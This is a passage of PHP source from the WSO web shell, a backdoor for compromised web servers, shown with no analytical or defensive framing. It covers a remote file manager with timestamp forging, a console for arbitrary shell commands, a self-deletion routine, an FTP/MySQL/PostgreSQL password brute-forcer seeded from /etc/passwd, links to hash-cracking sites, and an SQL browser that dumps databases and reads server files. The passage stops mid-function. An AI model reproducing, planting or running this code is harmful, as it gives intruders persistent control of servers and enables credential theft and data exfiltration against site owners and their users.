		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(function_exists("get_magic_quotes_gpc") && !empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(function_exists("get_magic_quotes_gpc") && !empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
	wsoFooter();
}

function actionStringTools() {
	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'ASCII to HEX' => 'ascii2hex',
		'HEX to ASCII' => 'hex2ascii',
		'HEX to DEC' => 'hexdec',
		'HEX to BIN' => 'hex2bin',
		'DEC to HEX' => 'dechex',
		'DEC to BIN' => 'decbin',
		'BIN to HEX' => 'binhex',
		'BIN to DEC' => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
		'Htmlspecialchars' => 'htmlspecialchars',
		'String length' => 'strlen',
	);
	if(isset($_POST['ajax'])) {
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		if(in_array($_POST['p1'], $stringTools))
			echo $_POST['p1']($_POST['p2']);
		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	wsoHeader();
	echo '<h1>String conversions</h1><div class=content>';
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
	foreach($stringTools as $k => $v)
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
		echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";

	function wsoRecursiveGlob($path) {
		if(substr($path, -1) != '/')
			$path.='/';
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $item) {
				if(@is_dir($item)){
					if($path!=$item)
						wsoRecursiveGlob($item);
				} else {
					if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
				}
			}
		}
	}
	if(@$_POST['p3'])
		wsoRecursiveGlob($_POST['c']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
		</form></div>";
	wsoFooter();
}

function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	wsoHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		wsoFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "
";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
	}
	echo '</div>';
	wsoFooter();
}

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

	if(isset($_POST['ajax'])) {
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	
	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	wsoFooter();
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die('bye!');
}

function actionSelfRemove() {
	$namefile = basename(__FILE__);
	if(preg_match("/\.php/", $namefile)){
		preg_match("#(.*)\.php#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php';
	}elseif(preg_match("/\.php5/", $namefile)){
		preg_match("#(.*)\.php5#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php5';
	}elseif(preg_match("/\.php7/", $namefile)){
		preg_match("#(.*)\.php7#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php7';
	}elseif(preg_match("/\.phtml/", $namefile)){
		preg_match("#(.*)\.phtml#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.phtml';
	}
	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', $namefile)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        wsoHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	wsoFooter();
}

function actionBruteforce() {
	wsoHeader();
	if( isset($_POST['proto']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type'] == 2) {
			$temp = @file($_POST['dict']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
						$success++;
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
		.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
		.'<span>Server:port</span></td>'
		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
		.'<tr><td><span>Brute type</span></td>'
		.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
		.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
		.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
		.'<td><input type=text name=login value="root"></td></tr>'
		.'<tr><td><span>Dictionary</span></td>'
		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
		.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
	echo '</div><br>';
	wsoFooter();
}

function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table wso2');
					return array('file'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
					while($item = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";

";
                        }

						$columns = array();
						foreach($item as $k=>$v) {
                            if($v === null)
                                $item[$k] = "NULL";
                            elseif(is_int($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql .= "
	,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	wsoHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=''></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
